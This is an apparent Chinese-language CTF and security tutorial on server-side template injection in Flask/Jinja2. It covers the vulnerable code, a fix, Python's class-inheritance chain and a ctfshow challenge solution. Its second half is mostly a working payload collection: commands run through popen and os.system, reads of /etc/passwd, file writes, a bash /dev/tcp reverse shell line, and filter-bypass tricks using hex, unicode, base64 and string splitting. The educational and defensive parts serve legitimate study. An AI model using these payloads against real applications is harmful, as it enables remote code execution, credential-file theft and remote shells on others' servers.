前置知识

模板引擎

首先我们先讲解下什么是模板引擎,为什么需要模板

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,再放到渲染函数里,接着生成模板 + 用户数据的前端 HTML 页面,最后反馈给浏览器,呈现在用户面前。

模板只是一种提供给程序解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

在后端渲染里,浏览器会接收到经过服务器计算的之后呈现给用户的HTML代码,此时计算就是服务器后端经过解析服务器端的模板来完成的。

在前端渲染里,是浏览器从服务器拿到信息,再由浏览器前端来解析渲染这段信息变成用户可视化的HTML代码并呈现在用户面前。

举个简单的例子

1
2
3
<html>
<div>{$name}</div>
</html>

这里我们希望呈现给用户的是用户自己的名字,但我们并不知道用户的名字是什么,这时候可以用一些用户的信息经过渲染到这个name变量里面,然后呈现给用户

1
2
3
<html>
<div>wanth3f1ag</div>
</html>

当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。

那什么是服务端模板注入呢

什么是ssti

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

img

Flask下的ssti

什么是Flask?

Flask 是一个轻量级的 Python Web 框架,用于快速构建 Web 应用程序和 API。

而flask默认使用jinja2作为渲染HTML页面的模板引擎,也是ssti漏洞的常见来源

Jinja2 是 Python 中一个广泛使用的 模板引擎,主要用于动态生成 HTML、XML、配置文件等文本内容。

Jinja2的语法

Jinja2使用 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 模板同样支持控制语句,像在{%…%}块中使用if语句

1
{%if 1==1%}air{%endif%}

接下来我利用vulhub的靶场起漏洞环境进行分析

1
root@dkhkv28T7ijUp1amAVjh:/usr/local/vulhub/flask/ssti# docker-compose up -d

目录自行看哈,这是flask下的ssti

环境复现

在起环境的时候我们先看一下环境下的app.py漏洞源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()

t = Template(“hello” + name) 这行代码表示,将前端输入的name拼接到模板,但是此时没有对name参数进行一定的过滤和检测,那么我们如果传入?name=64就会返回64的结果,这是因为Jinja2的基础语法{{}}会把其中的内容会被当作 Python 代码执行,并将结果渲染到页面上,这也是我们漏洞的成因

防御方法

那如果我们事先对模板进行渲染后再传入数据,那么就可以避免模板注入的存在,修复一下上面的漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello {{n}}")
return t.render(n=name)

if __name__ == "__main__":
app.run()

return t.render(n=name)这里将name参数作为字符串传给变量n,然后使用静态模板,"Hello {{n}}" 是一个固定模板,{{n}} 是一个 参数占位符,而非直接拼接的用户输入。这样就避免了ssti的存在

image-20250330173716682

此时name的值已经被当成字符串传入n中并进行渲染,而8*8不会被当成python代码去解析执行

讲完了防御方法,现在要讲一下怎么进行ssti注入达到恶意代码执行的目的

攻击方法

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行

但是在讲解攻击方法前,我们需要了解到python中的继承,因为在后面的攻击中用到的就是这种继承关系的不断调用最终达到一个rce的效果

python的继承

  • Python 类继承的基本概念

基础语法

1
2
class 子类(父类): 
pass # 子类定义
  • 继承关系:子类会继承父类的属性和方法(除非被覆盖)。
  • 继承链:可以多重继承(class C(A, B):...),但这里仅讨论单继承(一个父类)。

然后我们可以利用魔术方法去返回想要的类的内容

基础语法

1
2
3
类名.__魔术方法__ 或 类名.魔术方法()。
例如__base__返回父类
类名.__base__

例如我们这里有代码

1
2
3
4
class A: pass       # 基类(无父类,隐式继承自 `object`)
class B(A): pass # B 继承 A
class C(B): pass # C 继承 B
class D(C): pass # D 继承 C

那么此时的继承链的关系是

1
2
3
4
5
object (Python 所有类的基类)
└── A (直接继承 object)
└── B (继承 A)
└── C (继承 B)
└── D (继承 C)

python类中如果没有显式指定父类,在 Python 3 中默认继承自 object 类,那我们如何找到某个类的当前类呢?

我们可以通过__class__魔术方法去找到当前类

1
__class__  :返回一个实例所属的类
1
2
3
4
5
6
7
class A : pass
class B(A) : pass
class C(B) : pass
class D(C) : pass
c = C()
print(c.__class__)
#<class '__main__.C'>

可以看到它返回了一个当前的类为C,那我们尝试找到C类的父类

可以通过__base__这个魔术方法来找到当前类的父类

1
2
3
__bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)
__base__   :返回类的直接父类(单继承时)或第一个父类(多继承时)
也就是说如果一个类如果继承了多个类,那么用bases可以返回所有继承的父类
1
2
3
4
5
6
7
class A : pass
class B(A) : pass
class C(B) : pass
class D(C) : pass
c = C()
print(c.__class__.__base__)
#<class '__main__.B'>

可以看到它返回了C类的父类B类,如果还需要继续找父类可以继续用__base__,但是这样一个一个递进上去的方法有一些麻烦,所以我们可以使用__mro__魔术方法来一步到位看到类的所有父类

1
__mro__       :返回一个元组,按顺序列出类的继承链(从当前类到 object)。
1
2
3
4
5
6
7
class A : pass
class B(A) : pass
class C(B,A) : pass
class D(C,A) : pass
c = C()
print(c.__class__.__mro__)
#(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)

可以看到这里返回了继承链

上面的知识都是基础知识,有利于我们后面对payload的讲解

SSTI模板注入

通常我们进行模板注入的时候都会用到object类,因为object 是 Python 中所有类的基类(直接或间接继承)。

接下来我们通过__subclasses__()去返回object的所有子类

__subclasses__()__subclasses__的区别是什么呢?

前者是实际调用了该方法,而后者只是返回了方法本身的引用

1
__subclasses__()  :以列表返回类的子类

这里我们需要用到A类啊这样更迅速一点,我们可以把这些魔术方法的使用当成是一种指针的指向,例如

1
2
3
4
c.__class__.__base__
此时指针是指向B类的,如果我们去返回子类的话只是会返回B类的子类也就是C类
[<class '__main__.C'>]
如果需要返回object的子类的话,我们需要调整指针指向object类,再使用魔术方法去返回子类

所以

1
2
3
4
5
6
7
class A : pass
class B(A) : pass
class C(B) : pass
class D(C) : pass
a = A()
print(a.__class__.__base__.__subclasses__())
#返回所有object的子类

image-20250330180720867

当然也可以根据__mro__返回的是元组的形式去调用object类并返回object的子类

1
print(c.__class__.__mro__[3])#<class 'object'>

那么可以看到这里有很多的子类,我们最终的ssti注入的目的就是利用这些子类去进行RCE达到攻击的效果,接下来就是如何利用子类去攻击了,我们先拿一道ctfshow的web361做一下

image-20250331114331529

然后我们用__class__魔术方法查看当前类

1
2
?name={{"".__class__}}#<class 'str'>
?name={{().__class__}}#<class 'tuple'>

在 Python 中,**__class__ 是一个魔术方法**,用于获取 对象的类类型

image-20250331115226114

和上面不同的是,我们现在的这些都是内置类,但是最终的父类还是object,我们只需要一个途径能获取到object类就行

1
?name={{().__class__.__base__}}#<class 'object'>

这里的话就成功拿到object父类了,接下来就是拿所有内置的子类

1
?name={{().__class__.__base__.__subclasses__()}}

image-20250331115604053

然后我们可以用哪些子类去进行攻击呢?

例如这里我们用<class 'os._wrap_close'>类,这是python的内置类

  • os 是 Python 标准库(内置模块),而 _wrap_closeos 模块中的一个 内部辅助类(名字以 _ 开头,表示“内部使用”)。

我们看看这个类有哪些属性和方法

1
2
3
>>> import os
>>> print(os._wrap_close.__dict__)
{'__module__': 'os', '__init__': <function _wrap_close.__init__ at 0x000001F51809F060>, 'close': <function _wrap_close.close at 0x000001F51809F100>, '__enter__': <function _wrap_close.__enter__ at 0x000001F51809F1A0>, '__exit__': <function _wrap_close.__exit__ at 0x000001F51809F240>, '__getattr__': <function _wrap_close.__getattr__ at 0x000001F51809F2E0>, '__iter__': <function _wrap_close.__iter__ at 0x000001F51809F380>, '__dict__': <attribute '__dict__' of '_wrap_close' objects>, '__weakref__': <attribute '__weakref__' of '_wrap_close' objects>, '__doc__': None}

整理一下

1
2
3
4
5
6
7
8
9
10
11
12
{
'__module__': 'os', # 类所属的模块
'__init__': <function ...>, # 初始化方法
'close': <function ...>, # 关闭文件描述符的方法
'__enter__': <function ...>, # 实现上下文管理器(with语句)
'__exit__': <function ...>, # 实现上下文管理器(with语句)
'__getattr__': <function ...>, # 动态获取属性
'__iter__': <function ...>, # 实现迭代器协议
'__dict__': <attribute ...>, # 类的属性字典
'__weakref__': <attribute ...>,# 弱引用支持
'__doc__': None 类的文档字符串(此处为None
}

然后我们需要用到这个类中的__init__方法去初始化这个类,这是 构造函数,在创建 _wrap_close 实例时调用。

1
2
?name={{().__class__.__base__.__subclasses__()[132]}}#<class 'os._wrap_close'>
?name={{().__class__.__base__.__subclasses__()[132].__init__}}#<function _wrap_close.__init__ at 0x7f1b1c0f35e0>

然后会通过``.globals获取os 模块的全局变量

1
__globals__ 是 Python 中的一个 特殊属性,仅存在于函数对象(Function Objects)里,用于获取该函数所在的全局命名空间(Global Namespace) 的所有变量。它本质上是一个 字典,存储了该函数所在模块的所有全局变量、导入的模块、函数等。

image-20250331121042196

然后可以看到导入的os模块下有没有可以执行命令的函数方法

我们执行一下shell命令,这里执行一下whoami,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个与子进程通信的对象,为了从该对象中获取子进程的输出,因此需要使用read()方法来读取子进程的输出

1
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}#root

到这里就大致讲完了攻击思路,我们就先总结一下上面用到的魔术方法

魔术方法总结1

1
2
3
4
5
6
7
__class__  :返回一个实例所属的类
__bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)
__base__   :返回类的直接父类(单继承时)或第一个父类(多继承时)
__mro__ :返回一个元组,按顺序列出类的继承链(从当前类到 object)。
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用

试一下刚刚vulhub的靶场一开始以为怎么没回显,后面才发现回显在源码中

payload积累

  • #使用<class 'os._wrap_close'>类的popen命令
1
2
3
4
5
6
7
().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('whoami').read()
().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()

''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

#python2
''.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
  • #操作文件类,<type ‘file’>(python2中)

python3已经移除了file。所以利用file子类文件读取只能在python2中用。

1.读取文件

1
2
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
''.__class__.__mro__[2].__subclasses__()[40]('文件路径').read()

image-20250331150821322

2.写文件

1
''.__class__.__mro__[2].__subclasses__()[40]('文件路径', 'w').write('文件内容')

image-20250331150921338

  • 使用类调用os的popen执行命令
1
2

''.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
  • 利用<class 'os._wrap_close'>类执行eval
1
2
3
4
5
6
7
8
9
10
11
12
#python2
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')")


#python3
''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').system('ls')")

''.__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )

  • 利用os._wrap_close反弹shell
1
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')

一些绕过手法

绕过中括号过滤

1.使用__getitem__()去进行绕过,例如

1
2
3
[132]
换成
__getitem__(132)

2.也可以用.pop()去绕过

1
2
[132]
.pop(132)

绕过单双引号过滤

1.使用request旁路注入去进行绕过

通过request内置对象去得到请求的信息,从而传递参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#GET方式,用request.args.参数 代替,然后用get传参
['popen']
可以换成
[request.args.a]然后get传参a=popen

#POAT方式,用request.values.参数 代替,然后用post传参
['popen']
可以换成
[request.values.a]然后post传参a=popen

#cookie方式,用request.cookies.参数 代替,然后用cookie传参
['popen']
可以换成
[request.cookies.a]然后cookie传参a=popen

2.如果过滤了args或者不想用request内置类的话,还可以用chr拼接字符去绕过

1
2
3
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}#第59个子类(通常是 warnings.catch_warnings),获取python内置chr()函数
{{().__class__.__bases__.__getitem__(0).__subclasses__()[59](chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#这里是构造
这里%2b为+号,在发送请求的时候需要编码成%2b,不然会被当成空格处理

3.手动构造char(可用于上面的chr被过滤的情况)

如果目标系统 限制了 chr 但允许变量赋值,攻击者可能用 **模板语法动态构造 char**:

1
2
{% set char=config.__class__.__init__.__globals__.__builtins__.chr %}
{{ char(99) }} # 返回 'c'

绕过下划线过滤

1.可以用request类去进行绕过

2.可以用编码去绕过,例如16进制编码

1
2
"".__class__
""['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']

绕过小数点过滤

1.用|attr过滤器进行绕过

1
2
"".__class__
""|attr("__class__")

2.[] 替代 .

1
2
"".__class__
""["__class__"]

绕过花括号过滤

  • {%print%}去进行绕过
1
{%print(().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('whoami').read())%}
  • {%%}结构语句绕过
1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if 'os' in c.__init__.__globals__ %}
{{ c.__init__.__globals__['os'].system('id') }}
{% endif %}
{% endfor %}

这里if条件成立则会输出1,只是用来执行结果的,最终不影响执行结果(通常还可以用于无回显的时候打盲注)

绕过关键字过滤

  • 字符串拼接绕过
1
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}} 
  • join拼接字符
1
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
  • 用单双引号,反引号绕过关键字
1
2
{{[].__class__.__base__.__subclasses__()[40]("fla""g")).read()}}
{{[].__class__.__base__.__subclasses__()[40]("fla''g")).read()}}
  • 16进制编码绕过
1
2
3
''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()
其中
"__import__"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

4.对于python2的话,还可以利用base64进行绕过,对于python3没有decode方法,所以不能使用该方法进行绕过。

1
2
3
''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()
其中
__import__的base64编码为X19pbXBvcnRfXw==

5.unicode编码

1
2
''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('os').popen('whoami').read()
__import__==\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f

其他的各种编码大部分也都是可以的

绕过数字过滤

  • 利用算术去生成数字

如果只是过滤了部分数字,我们可以用其他数字通过算术去得到

  • 编码绕过